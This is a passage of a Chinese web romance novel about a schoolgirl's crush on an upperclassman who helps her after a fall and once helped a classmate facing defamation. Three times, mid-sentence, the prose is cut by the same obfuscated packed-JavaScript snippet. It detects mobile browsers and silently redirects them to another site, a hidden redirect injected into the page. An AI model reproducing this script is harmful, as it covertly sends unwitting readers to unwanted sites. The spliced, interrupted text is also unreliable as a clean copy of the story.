虞岁叫了云昭好几声,云昭才缓过来,接过虞岁手中的杯子,用吸管喝了一小口水润嗓,笑着听虞岁说她是第一名,让虞岁在体育老师面前扬眉吐气。 陆续有人冲过终点,裴至峤眼前闪过好多影子,他最终望向了离终点越来越远的云昭,正好看见她被虞岁逗笑的样子。 和那天在主席台上的笑容不一样,云昭这回笑得更开心,是比草莓糖果更甜更好吃的草莓蛋糕。 计时的裁判员不断报着运动员的成绩:“第一名:两分五十三秒;第二名……” 裴至峤的目光一直没从云昭身上移回来,裁判员喊了他一声,又报了一遍成绩。 他在成绩表上写下云昭的名字,忍不住想起刚才那阵撩人的风。 运动会裁判人手不够,篮球队的队员来帮忙,裴至峤刚好被分管到八百米项目,刚好撞上了云昭这场比赛。 已经说不清是巧合还是天意,但裴至峤觉得下午翘掉的两节课很值。品学兼优的好学生从来没想过,逃课会记在自己的人生史册里,史册里还有一阵高二女子组八百米冠军的风。 登记完成绩后要去领奖,云昭和虞岁站在终点处等,广播里念着各班的加油稿。 “致高二文一班云昭,你的每一步奔跑都牵动我心弦……” 广播里突然出现自己的名字把云昭吓了一跳,这篇加油稿写得不太正经,跟昨天她和虞岁一起调侃的那些在加油稿里暗戳戳的表白很相似。 云昭看向虞岁,像是在问她这是谁写的,怎么都没告诉她,还交上去念出来了。 虞岁摊摊手,表示不知情:“这应该不是我们班写的,我没见过这篇。” 除了班里同学,还有谁会给她写加油稿,云昭不记得自己在外班有熟到可以开这种玩笑的同学。 虞岁说:“万一是某个暗恋你的男生要跟你表白呢?” 云昭僵硬的站在原地,没空理会虞岁的胡言乱语,只觉得好丢脸,让她以这种方式被“全校通报”了一次,成为同学口里的谈资。 广播里稿子最后一句念完,裴至峤拿着表朝云昭的方向走来。 云昭不敢在这种时候直面裴至峤,下意识的想往反方向走。不知是激动还是无措,她左脚绊右脚,直接摔在了操场上。 虞岁惊呼:“我的天!昭昭你没事吧!” 这时裴至峤已经走到她面前,云昭不敢抬头看他。 云昭觉得更丢脸了,她就这样摔在裴至峤面前,又一次在他面前出糗。 这才是今天真正的意外。 12. 体温 短短几秒钟,云昭想过无数种关于这件事的结局,有好的有坏的,有她期望的也有她不想发生的。 但现实的结局超乎了她的想象。 裴至峤蹲下来,和云昭平视相望,余光看见云昭膝盖上被粗糙的草坪和石子磨破的皮肤。他伸出手,云昭的视线落在他向上的掌心,而后无措的看向他。 裴至峤的意思是要扶她起来吗? 云昭不知道,她怕误解了裴至峤的意思,让她再次陷入尴尬。 “伤口不及时消毒会感染,我送你去医务室处理一下吧。” 直到裴至峤说完这句,朝云昭伸出的手还没有收回,云昭才确定裴至峤就是来扶她的。 云昭小心翼翼的搭上裴至峤的手,她不敢太用力的握,还好虞岁也在一旁扶她。 哪知刚站起,云昭又措不及防的跌回去,脚踝使不上劲,让她下意识抓住身边能抓住的一切来稳住身体,包括裴至峤。 裴至峤反应很快,刚才虚虚握着云昭的那只手瞬间抓紧,把云昭拉了回来。 云昭看到裴至峤小臂上的青筋鼓起,他的手拉她时很有力,紧紧的握着她,云昭瞬间脸红。 云昭小声的开口:“我好像有点扭到了。” 她承认,被裴至峤拉起来的那刻她是欢喜的,但以如此狼狈的姿态站在裴至峤面前,她又是失落的。 裴至峤没来得及说什么,虞岁抢先开口:“昭昭啊,那个……”停顿一瞬,像是终于找好了理由:“我还要带下个项目的同学去检录,就麻烦裴学长送昭昭去一下医务室。” 虞岁撒手就跑,还不忘回头冲云昭眨眼,使眼色提醒云昭好好珍惜机会。 云昭从不可思议中回神,再迟钝也读懂了虞岁的意思,她用一个谎言创造了一段短暂的属于云昭和裴至峤两人的相处时间。 云昭没有虞岁的坦然,推拒着这个提议:“我自己可以去医务室的,不麻烦裴学长了。” 裴至峤没接话,只问:“你还能走吗?” 云昭虽然很想要这段独处时光,但又怕这样的环境下会让她的喜欢无处遁形。暗恋这场哑剧的原则是不能被人发现,更不能被当事人发现,于是云昭努力证明自己能走,不需要裴至峤扶。 但她失败了,她又一次被裴至峤扶起。 裴至峤走到云昭前面,转身背对她,“你好像没法走了,我背你去医务室吧。” 这回连拒绝的空隙都没留给云昭,裴至峤就紧接着说:“强行走动可能会引发二次损伤,为安全起见,你快上来吧。” 裴至峤给出的诱惑太大,云昭根本无法抵挡,纤细的手臂颤抖着,搭上裴至峤的肩膀。 “麻烦裴学长了。” 她话音也带着颤抖。 云昭的运动服是短裤,裴至峤没直接触碰云昭腿部的皮肤,双手握成拳,将云昭稳稳的背起。 云昭环着裴至峤的脖颈,待在他背上没敢乱动。她感受到裴至峤的肩膀宽阔平直,手臂坚实有力。 裴至峤穿的是那套蓝白的校服短袖,一中的校服以价格高质量差在学生间出了名,云昭今天才真正感受到这套校服的质量到底多差。 单薄的布料让云昭轻易的感受到裴至峤背部的体温。 裴至峤的体温略高于云昭,根据热量传递规律,裴至峤正在向云昭传递热量。一想到这,云昭脸红得更彻底。 这是比刚才裴至峤拉她时握着她的手更亲密的举动,是他们第一次亲密的肢体接触,她甚至可以感受到裴至峤呼吸之间的颤动。 云昭想起不久前的开学典礼,他们的手臂不小心撞到一起,她短暂的感受过裴至峤的触感。她以为那时是她离裴至峤最近的一次,今天这个距离更新了。 他们之间太亲密,太超越界限,让云昭生出了更大胆的想法。 ——她想这样靠在裴至峤肩上。 可惜,暗恋的贪得无厌只敢表现在想象里,云昭没靠上裴至峤的肩,没让自己的喜欢那么明显,被裴至峤发现。 轻柔的风缓缓的吹,将裴至峤衣服上的皂角香气吹进云昭的呼吸里。云昭很想知道裴至峤用的是什么牌子什么味道的洗衣液,好闻到让她魂牵梦萦。 医务室在操场外靠近书吧的地方,距离谈不上近,云昭却觉得很快就到了。 值班的校医正在处理受伤的同学,那位同学的伤情看起来比云昭严重许多,流了很多血。 裴至峤把云昭放在医务室的另一张病床上,校医暂时没空搭理他们,只告诉裴至峤抽屉里有药品,如果会处理伤口可以先自己处理,实在不会就等着他忙完来看。 碘伏、棉签、纱布以及云南白药全放在一个抽屉里,裴至峤全都拿了过来。 淮川现在天气还热,破皮的伤口须得及时消毒,等不及校医来,裴至峤用棉签蘸了碘伏,准备往云昭的伤口上涂。 “要不还是我自己来吧?” 云昭想去拿裴至峤手里的棉签,从小小姨就教过她处理伤口,她自己可以的,何况……“今天已经麻烦你很多了。” 继续麻烦他会让云昭生出更多的。 ——妄念。 裴至峤笑着,却没把棉签给她:“还是我来吧,怎么能让伤者自己处理伤口呢。” 他消毒包扎的手法很娴熟,处理完膝盖上的伤后,给云昭扭伤的脚踝也喷了药,冰凉的感觉让云昭觉得舒服不少。 裴至峤放下药细心嘱咐:“不知道有没有伤到骨头,还是叫家长来接你去医院拍个片子比较好。” 云昭腻在刚才裴至峤为她处理伤口的那份温柔里醒不过来,没回答裴至峤的话,倒是痴痴的问了一句:“没想到你包扎的手法很熟练。” 裴至峤像是开玩笑的回答:“军训的时候学过急救课,可能我学得还不错。” “对哦。” 云昭傻傻回应的样子显得特别可爱,裴至峤的浅笑虽然看起来和平时没区别,但只有他自己知道,他心里掀起了一阵怎样汹涌的浪潮。 云昭给妈妈打了电话,黎梦秋在电话那头担心得很,马上就要来学校接云昭去医院。裴至峤帮云昭填了医务室的病假单,准备一会儿回去时帮云昭交给班主任。 黎梦秋来学校需要一些时间,云昭在医务室等,裴至峤也在这里陪她等。云昭有点不明白此刻的裴至峤,普通同学将她送来医务室已经够义气了,裴至峤却还陪她等家长。 裴至峤笑着解释:“既然答应把你送来,就要看着你被人接走才放心,反正我现在也没什么事。” 好事做到底,送佛送到西,裴至峤一贯是如此周到的人,他让云昭不要有心理负担。 原来他对所有人这样吗,云昭刚刚还以为,裴至峤对她是有那么一点特别的。 尽管云昭是芸芸众生中普通的一个,但裴至峤此刻就待在她身边。他们并肩坐在病床的边沿,窗外依旧是运动会振聋发聩的欢呼声,医务室却很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17241914|197773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宁静,静到可以听见自己心跳的声音。 或许是刚才的药起了作用,云昭觉得自己已经感受不到腿上的伤痛,面对裴至峤,她只体会到一种小鹿乱撞的情绪。 云昭用余光去看裴至峤的侧脸,下午的阳光把裴至峤的轮廓照得很清晰,相比前几次的远距离或黑暗中,云昭更清楚的看到了他脸上的细节。 裴至峤的左眼眼尾有颗很淡的小痣,不仔细根本无法发觉。 云昭觉得这颗痣长得很好,让裴至峤温润的底色里藏着一份忧伤的气息,让他气质更丰盈、更厚重。 裴至峤忽然转头,云昭有种偷看被发现的心虚,迅速转回了目光,直直的盯着地板。 “对了,刚才那篇……” 裴至峤刚起了话头,准备打破这份因过度安静而显得尴尬和沉闷的氛围,声音就被生生止住,一声大喊传进耳朵。 “裴至峤,老师叫你过去。” 刚才八百米项目的成绩表交上去,准备给冠亚季军颁奖,同学来让裴至峤再去核对一遍成绩。 “学长,你先回去吧,我妈妈很快就到了。” 云昭不想耽误裴至峤的正事,在裴至峤给出回答前先说了话。 裴至峤没起身,转头瞧了云昭一眼,眸中有很细微的情绪波动,云昭没看懂是什么。 僵持的短暂间隙里,医务室又来了一个人。 关栩宁生理期肚子疼,来医务室拿止痛药。校医还在忙,随手指了个柜子,让她自己找。 裴至峤这才起身,说:“那我先回去了,你在这儿不要乱动,免得让扭伤更严重。” 离开前,裴至峤又细心交代了一遍,顺便带走了那张填好的病假单。他并没直接走出医务室,而是到关栩宁身边,和她说了几句话。 距离有点远,云昭没听清他们说的是什么。但云昭知道,裴至峤和关栩宁认识,甚至还挺熟,他们之间说几句话没什么好奇怪。 云昭只是没忍住往他们的方向看了很多次而已。 过了两分钟,裴至峤已经回到操场去了,关栩宁找到止痛药后来到云昭身边。 “裴至峤让我过来陪你一会儿,等你妈妈来接你。” 云昭还没说话,关栩宁率先开口。 云昭震惊的看着关栩宁,似是没想到裴至峤刚才跟关栩宁说的是这个。 关栩宁反问:“不然还能说什么。” 关栩宁借医务室的纸杯吃完药,和云昭坐在一起:“裴至峤说你脚扭伤了,不能走动。如果有什么需要的话可以告诉我。” 想到裴至峤和关栩宁的谈话是为了她,云昭脸上挂着甜笑,“我没什么需要的,谢谢你关栩宁。” “不用谢我,我只是还裴至峤的人情。” 关栩宁的确欠裴至峤一个大人情,云昭也知道。 云昭脸上的笑久久没散,她的开心太明显,连关栩宁也能看出些端倪。 关栩宁不擅长委婉,她既看出了,就问得很直白:“你是不是喜欢裴至峤?” 云昭被突如其来的直白问懵,两只手交缠在一起不停摩挲,双眼瞪大,眼里的情绪更清楚。 没有回答也是一种回答,云昭的反应就证明了,她的确喜欢裴至峤,关栩宁是除云昭自己和虞岁外唯一一个知道这件事的人。 云昭问关栩宁:“你难道从没有一刻对裴至峤心动过吗?” 说起来,云昭喜欢裴至峤这件事,和关栩宁有关。 13. 雪天 「在南方罕见的雪天,我遇到一个很好很好的人,他穿着和我一样的校服,站在病房窗户边讲话的样子像在发光。这天,我知道了《刑法》第二百四十六条的意义,也喜欢上他。」——@福音书与祷告文 云昭第一次真正记住裴至峤这个人,是在高一第一学期末前。一月初,初雪降临淮川的第二天。 那天是周六,云昭放假,刚巧碰上黎梦秋四十岁生日。云景志想给黎梦秋准备一个惊喜,云昭在一旁帮忙。 早晨,云景志送黎梦秋去甜品店。支开当事人后,云景志和云昭一起布置生日现场。场景布置得差不多,云昭出门去两条街外的人民医院接小姨黎梦莹。 本来是云景志去接人,但难得碰上雪天,云昭自告奋勇去医院,其实是想出去玩雪。 淮川地处淮河以南,亚热带季风气候,很少下雪,上一次是三年前。云昭很久没见雪,况且医院不远,云景志就让她去了,自己留在家善后。 云昭听从嘱咐,换上了加绒的衣服和鞋子,出门前还带了一盒黎梦秋做的糕点,她记得上次护士站的小袁姐姐说喜欢吃。 这场初雪下得不大,持续时间也不长,积不起很厚的雪层,在今天的阳光下缓慢融化着,却是实打实给淮川带来一股寒潮。 天气太冷,云昭没什么心思玩雪了,将头埋在厚厚的围巾里,快速穿过两个红绿灯,进入人民医院住院部精神科。 医院里空调恒温,被冻得泛红的鼻头得到缓解,云昭重新获得呼吸自主权,笑着和护士站的姐姐打招呼。 科室的几个护士都认识云昭,知道这个特别乖巧可爱的小姑娘是黎梦莹的侄女,笑着回应她:“昭昭来了?找黎医生吗?” “是啊,小姨在忙吗?” 黎梦莹不在办公室,护士说:“黎医生去查房了,一会儿才回来呢,你先坐坐,我给你倒杯热水。” 云昭甜甜应着,把刚才特地带的糕点云昭拿给小袁:“我妈妈做的糕点,让我带给大家。” 护士都是年轻姑娘,黎梦秋和云昭偶尔的投喂让她们兴奋不已,很快将糕点分完,夸黎梦秋手艺越来越好。 云昭捧着热水,杏仁眼里含笑,说下次再给她们带更多,人美嘴甜的她让护士姐姐心都化了。 黎梦莹还没回来,云昭在护士站一边等一边和科室的护士闲聊,精神科不算很忙,护士有空闲和云昭说话。 小袁问云昭:“昭昭,你是一中的吧?” “嗯,怎么了?” “科室新收的病人也是你们学校的,听说前不久自杀了,在外科住了一阵子才转来我们科。” 小袁提起,另一个护士也开始问:“昭昭,你在学校听到些什么没,这女孩子怎么回事啊?” 这人是黎梦莹的病人,小袁说:“这女孩情况有点严重,情绪特别不稳定,前几天砸了好多东西,我们都不敢给她换药。” “是啊,我上次去查房吓了一跳,看起来多好的一个女孩怎么成这样了?” 云昭不知道小袁说的这个人,自杀这种大事如果真的发生,学校学生众多,一传十十传百,云昭不可能一点都没听过,但她真的不知道。 云昭在脑海里搜寻了好一番最近一中发生的事,还是毫无印象。她刚想回答这应该和一中没关系,旁边病房里尖锐的声音就传来。 护士站所有人的目光都被吸引,很快认出声音出自她们刚才提起那个女孩的病房,她叫关栩宁。 小袁是关栩宁的责任护士,立马就到病房去查看,还好没出什么大事,只是打碎了个杯子。 病房门大开,关栩宁的大吼更清晰的传到云昭耳中:“我不想听你说这些!你滚!不要出现在我面前!也不要跟我提这件事!” 云昭好奇的望过去,看见关栩宁穿着病号服坐在病床上,情绪激动的指着一个男孩。 小袁进去收拾残局,告诉一旁的男孩:“病人情绪激动,要不你过段时间再来看望?” 男孩摇了摇头,没走,就在一旁站着,等关栩宁平静。 黎梦莹闻讯赶来,给关栩宁检查后开了一支镇定剂,小袁准备好药品去病房注射。 药物注射完后不久,关栩宁平静下来,眼神有些空滞,但没再继续闹。 云昭的目光被站在一旁的男生吸引,他穿着一中的校服,根据衣服上条纹的颜色,云昭认出那男生是高二的学长。想起刚才小袁的话,觉得或许病房里那个女生真是一中的学生。 黎梦莹从病房里出来,看见在护士站的云昭,走过来问她:“你怎么来了?” “爸爸叫我来接你,今天是妈妈生日。” 黎梦莹一拍脑袋,这才记起,早就约好今天要去云昭家给黎梦秋庆生的,她给忙忘了。 “你在这儿再等会儿,我还有几个病人,看完就来。” 云昭本想问黎梦莹,关栩宁是怎么回事,真和一中有关吗。但黎梦莹走得快,事情的原委,云昭过了一段时间才了解明白。 关栩宁确实是一中的学生,比云昭高一届,来自文科重点班。她的事之所以没在学校引起大范围讨论,是因为事发地并不在一中,校方也不许大肆传扬这种负面消息。 关栩宁原本是个很优秀的女孩,长得漂亮,成绩也好,性格乖巧不张扬,在校内也算有名的人物,与韩萧雨、司佳恩并肩,追求者不少。 她外冷内热,面对追求既不像司佳恩那样把梁斯年拉出来挡枪,也不像韩萧雨一样高情商的化解尴尬,她拒绝很生硬,也很没效果。 那次一中和实验中学一起举办活动,关栩宁代表文一班参加,不出意外又收到几份情书和表白,其中做法最张扬的是实验中学一个染了红头发的男生。 实验中学虽是普高,但管理严格,像这种违反校规染红发的男生一般都是最不听话那批差生,和老师学校作对惯了,行事大胆出格,名声在外。 关栩宁拿以往一样的话术拒绝了红发男生的告白,但这人却没放弃,三番五次来一中门口找她。一中学生撞见过好几次,都知道实验中学有人在追关栩宁。 关栩宁不喜欢这个人,也没有要早恋的想法,每次红发男生找来,关栩宁都拒绝。 红发男生在实验中学算有名,据说他家庭条件不错,身边有一群人跟他混,用个很非主流的词来形容,他算是“校霸”。 关栩宁一再的拒绝,特别是当着所有人的面拒绝,让红发男生觉得非 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17241915|197773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 常没面子,在他的那些“小弟”面前丢了脸。 后来他再一次来找关栩宁被拒绝时,他被惹火了:“我都追你这么久了,你就一点表示都没有?” 关栩宁回他:“我不想谈恋爱,我已经明确的拒绝你了。” 乖乖女的拒绝太没威慑,红发男生把玫瑰花塞到关栩宁手里:“你不答应也得答应,做我女朋友还委屈你了吗?多的是人想跟我谈,我跟你谈是给你面子。” 他长得还不错,奇异的发色增加了他的辨识度,加上出手大方,的确有女生喜欢他。但关栩宁不喜欢,甚至很讨厌这种狂妄自大的男生,不愿理会他的无理取闹。 关栩宁皱了眉头,想把花还回去,红发男生却已经走了。 关栩宁很苦恼这个总是搅乱她生活的不速之客,她不理他,红发男生却好像早就把关栩宁当成他女朋友,约不出来就来一中门口堵她。 关栩宁不堪其扰,几乎是拿出了这辈子最凶狠的态度,让红发男生不要再来找她,她不喜欢他,更不想做他女朋友。 当时在校门口,很多人都看见了,红发男生带过来的几个实验中学的学生也听到了关栩宁强硬的拒绝。 事情闹得有点大,还登上过一中的表白墙,有人问过那天是怎么回事。 红发男生从来没有被人这样落过面子,当着很多人的面,他不好跟女孩子动手,只是愤愤的离开,走前扬言:“你要是不知好歹,我有的是办法让你乖乖答应。” 那天过后,红发男生消停了一阵子,关栩宁以为这件事就此结束,没想到只是个开始。 红发男生丢了天大的脸,这件事不可能就算了。为了找回面子,他跟他的一群跟班说,关栩宁已经答应做他女朋友了。 没人细究他是怎么搞定的关栩宁,只夸他厉害,什么女生都能拿下,问起和乖乖女谈恋爱是什么感觉。 红发男生说:“其实乖乖女也就那样,挺没意思的。” 男生间开起玩笑完全不注意尺度,有人捧着红发男生,他就越说越过分,暗指关栩宁已经和他发生过关系。 等关栩宁听说这些时,已经传得很多人知道了。 这明显就是赤裸裸的造谣,关栩宁从来没答应过那个红发男生,更没有和他发生过任何关系,他污蔑关栩宁的清白,造她的黄谣。 关栩宁根本没有处理这种事的经验,舆论的发酵让她承受了很大的心理压力,一度崩溃。她明明什么也没做,她却承受了最多,红发男生的骚扰,同学之间的非议。 十几岁的女孩子承受不住这些突如其来的恶意,关栩宁的心理和精神出现了很大的问题,试过在家割腕,甚至想过跳楼自杀。 割腕后,家人把关栩宁送到人民医院救治,而后从外科转进精神科,黎梦莹成为关栩宁的心理医生。 这件事的发生,让关栩宁家里悄悄为她办了休学,事情没在一中闹大,云昭作为更低年级的学生就更不知情。但关栩宁班的老师知道一些原委,裴至峤作为他们班班长,主动请缨去医院看望关栩宁。 云昭看见的站在窗边的那个男生,就是裴至峤。 裴至峤来医院并不只为看望关栩宁,他有私心,他想帮帮关栩宁。 14. 发光 裴至峤的母亲裴宛因是一名刑事律师,代理过很多类似案件。同时,裴宛因也是一名公益法律援助律师,为不少被造谣被侵害的女孩打过官司。 裴至峤知道一些这件事的内情,看到过红发男生的骚扰,听到过那些离谱谣言,也明白关栩宁自杀以及休学的原因。他跟着妈妈,从小和各种案件打交道,一看便知是怎么回事。 其实所有人都清楚,关栩宁什么也没做,不是关栩宁的错,但最后承受最多的、付出代价最多的,却是关栩宁。 裴至峤觉得这非常有违公平,把这事说给裴宛因,裴宛因一听就上了心。如果关栩宁愿意,裴宛因可以为她提供法律援助。 受老师和裴宛因共同托付,裴至峤在今天来了医院。 裴至峤拿出裴宛因的名片摆在关栩宁病房的床头柜上,告诉她:“联系这个号码,会有人尽力帮助你。” 关栩宁住院以来,心理情况一直不太好,哭闹或是摔东西是常态。作为品学兼优的好学生,她遭受打击后短时间很难恢复,因此没人敢在她面前提起这件事,与其相关的一丁点都不行,都会引起关栩宁极大的反感和过激的举动。 所以裴至峤的这句话和往关栩宁心窝子捅没区别,话出口的一瞬,关栩宁再次崩溃。 裴宛因的名片被撕了,几块碎片飘在空中又散落在地,桌子上装水的杯子被关栩宁胡乱的砸在地上,发出一声巨响,比玻璃碎掉的声音更大的是关栩宁对裴至峤的怒吼。 关栩宁一边指着裴至峤让他出去,一边一个极没安全感的、抱着自己腿的姿态在哭泣。 小袁进去收拾被打碎的杯子,怕这些碎片留下隐患,裴至峤帮着小袁一起收拾。 病房收拾干净后,裴至峤没走,因刚刚关栩宁太激烈的举动,他站得离病床远了些,离窗户更近。 云昭在护士站旁,病房门开着,她正好能看到裴至峤。阳光经过初雪的反射,照到裴至峤身上时很暖很亮,给他整个人渡上一层薄薄的、像雾一样的金纱。 裴至峤长相身段都很优越,更重要的是云昭视力好,远远的就发现了他这份优越。云昭觉得这个站得笔直的男生不止好看,而且眼熟。 黎梦莹继续去查房,关栩宁冷静下来后半躺着,向裴至峤的方向看了一眼,眼泪再次流下。 情绪平静过后,关栩宁生出一点对裴至峤的抱歉。这件事发生以来,她听到的除了探究就是嘲笑,她以为裴至峤也是其中之一。 关栩宁性格文静,不爱热闹,所以朋友不多,出事之后就更少有来往。说到底,这件事太难听,没有人想沾染也正常。 但没想到裴至峤是真的、不带任何目的的帮关栩宁。 裴宛因从小就告诉裴至峤,如果受到伤害,一定要拿法律保护自己,争取属于自己的正当权益是法律赋予每个公民的权利。 对于关栩宁这件事,任何的同情怜悯都没用,伤害自己更没用,唯一有用的,是让加害者付出应有的代价。 裴宛因的名片再次放到床头柜,裴至峤说:“与其伤害自己,不如去让伤害你的人付出代价。 “《刑法》第二百四十六条规定:捏造事实诽谤他人,情节严重的,处三年以下有期徒刑、拘役、管制或者剥夺政治权利。 “希望法律能帮助你走出阴霾。” 裴至峤声音不大,却让病房里的关栩宁和病房外的云昭都听清楚了。那一刻,云昭觉得裴至峤站在病房窗户边讲话的样子像在发光。 关栩宁没力气的靠在枕头上,眼睛落在那张又一次出现的名片。 “希望你认真考虑,祝你早日康复。” 裴至峤说完最后一句,转身出了病房。他该说的已经说完,剩下的要关栩宁自己决定。 云昭看见裴至峤出来,还沉浸在他刚才那番话给她带来的惊讶中。裴至峤一脸正经,法条信手拈来,在真正的帮关栩宁解决问题。 一直到后来,云昭再从别的男生口里听到这件事,没有哪一个人像裴至峤这样,最先想到的是帮关栩宁。他们总是执着于关栩宁究竟有没有和红发男生发生关系,乐于把这种事当谈资,根本不在乎真相,也不在乎关栩宁受到的伤害。 从这时候云昭就察觉到,裴至峤真的,很不一样。他过于端正,气质温润,像古文里描写的谦谦君子。 这样的裴至峤,让云昭的心颤动了一下。 裴至峤站在病房外,出来后轻轻关上了病房门,却没直接走。透过病房门上的小片玻璃,裴至峤看到关栩宁拿起那张名片,仔细看了但没撕毁,才走到护士站。 “请问黎梦莹医生在吗?” 听到裴至峤要找黎梦莹,小袁问他:“你找黎医生有什么事吗?可以先告诉我,我帮你转达。” 裴至峤点点头,把那张递给过关栩宁的那张裴宛因的名片递给小袁。 “如果有病人需要法律援助,可以打这个电话。麻烦了。” 裴至峤怕关栩宁又把名片撕了,于是留了一张在护士站给关栩宁的主治医师。还交代,如果有其他病人也需要法律援助,同样可以提供帮助。 他周到得过分,云昭从这时候起就知道。 云昭在小袁旁边的位置,裴至峤递名片的动作被她看在眼里,手上那道血痕也被她敏锐的发现。 “小袁姐姐,有创可贴吗?” 小袁想到抽屉里就有:“怎么,你哪儿受伤了吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17241916|197773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 云昭摇头:“不是,是他的手刚刚收拾碎片好像划伤了。” 这时候云昭还不知道裴至峤的名字,仅以一个“他”字代替。 经云昭提醒,裴至峤这个当事人才注意到自己手上的伤口,或许是玻璃破碎时的渣子溅到了他手上,伤痕很小很浅,连他自己都没什么感觉。 云昭却注意到了,她心细得过分。 裴至峤抬头看了眼云昭,她看起来岁数不大,不是医院的护士,应该是哪位的家属。她说话的语气很温柔,杏眸圆润,一看就是在优越环境里长大很乖很听话的女孩子。 云昭找到了在抽屉里创可贴,拿出来给裴至峤时,正好和他的目光撞在一起。 这是他们第一次对视,云昭的眼睛在说:“快处理一下你的伤吧。” 裴至峤伸手,接了云昭递来的创可贴。 他很轻的道了一声:“谢谢。” 裴至峤握着很薄一片的创可贴,白色的包装纸上印着厂商的名称,是药店医院里随处可见的东西,却因沾上一缕少女的体温而变得烫人。手上的伤口被创可贴包裹着,裴至峤的心脏似乎也被什么东西围起来。 裴至峤走后不久,黎梦莹就查完房回来,云昭在一旁等着黎梦莹和值班的医生护士交接,目光停留在病房里的那个姑娘。 或许是察觉到云昭灼热的视线,关栩宁往外看,看到了乖巧等待的云昭。 云昭很久之后才知道,这天在医院关栩宁就已经记住她了,关栩宁想,如果没有发生这件事,她应该和云昭一样,乖巧、天真,但偏偏命运弄人。 以至于后来,云昭和关栩宁在新班级再见,关栩宁对云昭态度冷淡,因为她觉得云昭见过她最糟糕、最狼狈的样子,怕云昭对她生出偏见。 但云昭没有,她和裴至峤一样,拥有人性中最纯真的善良。 云昭和黎梦莹一起出医院,回家路上,云昭忍不住问起关栩宁的事,黎梦莹起先不愿和云昭说,怕这些事吓到她,可架不住云昭追问,挑挑拣拣的和云昭说了些。 黎梦莹话中提起裴至峤,觉得这个男孩说得对,如果真的不幸遇到了这样糟糕的事,应该寻求法律帮助而不是伤害自己。黎梦莹用长辈的口吻告诉云昭,让云昭想起了裴至峤刚才对关栩宁说的那番话,认真体会着《刑法》第二百四十六条的意义。 脑海里再次浮现裴至峤站在窗边沐浴着太阳发着光的样子,云昭忽然想起他是谁。 ——是上次月考后的升旗仪式上,在云昭后面发言的高二文科第一名,他们的照片至今还刊登在光荣榜上。 周一返校,云昭从光荣榜上得知了“他”的名字, ——裴至峤。 15. 喜欢 从这天起,云昭不自觉的开始关注裴至峤。其实也不必特地关注,裴至峤的消息无孔不入的出现在云昭的世界里。 作为一中的风云人物,有关于裴至峤的每一件事都能激起一场热烈的讨论,小到他今天出现在哪个食堂窗口,大到他又为一中拿了什么奖项。 裴至峤是光荣榜的常客,一个学期有多少天,他就会在光荣榜上待多少天。云昭每次路过这里都会驻足,裴至峤没有一天缺席榜单。有时候,云昭会出现在他隔壁,他们就这样在光荣榜上并肩,除此之外很少有交集。 一中很大,学生很多,喜欢裴至峤的女生也很多。云昭和所有喜欢裴至峤的女生似乎没什么区别,默默关注着他的一举一动,她觉得裴至峤或许都不记得她的名字。 偶尔,同学间会传言,有哪个大胆的女生给裴至峤塞了情书,或者直接到他面前表白。不过这些事都以裴至峤的拒绝而告终。 云昭有时会想:裴至峤到底会喜欢什么样的女生,漂亮的,还是聪明的?他会不会有一瞬间注意到她这个常常和他一起被老师提起的、文章一起出现在校报上的学妹? 问题从来没有被解答过。 时间一晃,云昭喜欢上裴至峤的第三周,高一第一学期结束了。 寒假有一个月,云昭因为期末考得不错,寒假作业很少。空闲时间多,她开始尝试看德语原著的小说,最常翻阅的是茨威格的《一个陌生女人的来信》。 临近除夕,读大学堂姐云曦回到淮川,一大家子人聚在一起吃饭时,提起云曦新交的男朋友。 云昭坐在云曦身边,察觉出云曦露出的小女儿的娇羞神色,脑海里莫名其妙的想到裴至峤。 每一次她和他一起被老师提起,云昭会和此时的云曦有一样的反应,那是属于少女的、独特的春季。 小辈的恋爱激不起长辈的波澜,长辈们谈论起自己年轻时,在那个科技不发达的年代,恋爱只能靠信件往来。 云昭知道,家里的书房里有一个箱子,是她去拿德语书时不小心的发现的,里面装的全是情书,有云景志写给黎梦秋的,也有黎梦秋回云景志的。 那个年代没有企鹅账号和微信,手写信是最常用的交流方式,黎梦秋和云景志都就读于淮川外国语大学德语系,他们常用各种充满巧思的德语句子暗戳戳的表达喜欢和想念。 黎梦秋告诉云昭,她最开始喜欢上云景志的时候,每天都会写这样的信,虽然都没送出去,但这些记录在信纸上的,都是她少女时代最纯粹的爱情。 云昭也想记下关于她的、关于裴至峤的喜欢。 纸质的情书已经不再适合这个时代,云昭打开微博,注册了一个新号。在昵称那一栏,云昭想了很久,敲下了七个字。 ——福音书与祷告文。 前几天,云昭在书里读到:你的每一句话,对我来说都是福音书和祷告文。整个世界,只是和你有关的,它才存在。 云昭觉得,裴至峤于她,就是这样的存在。 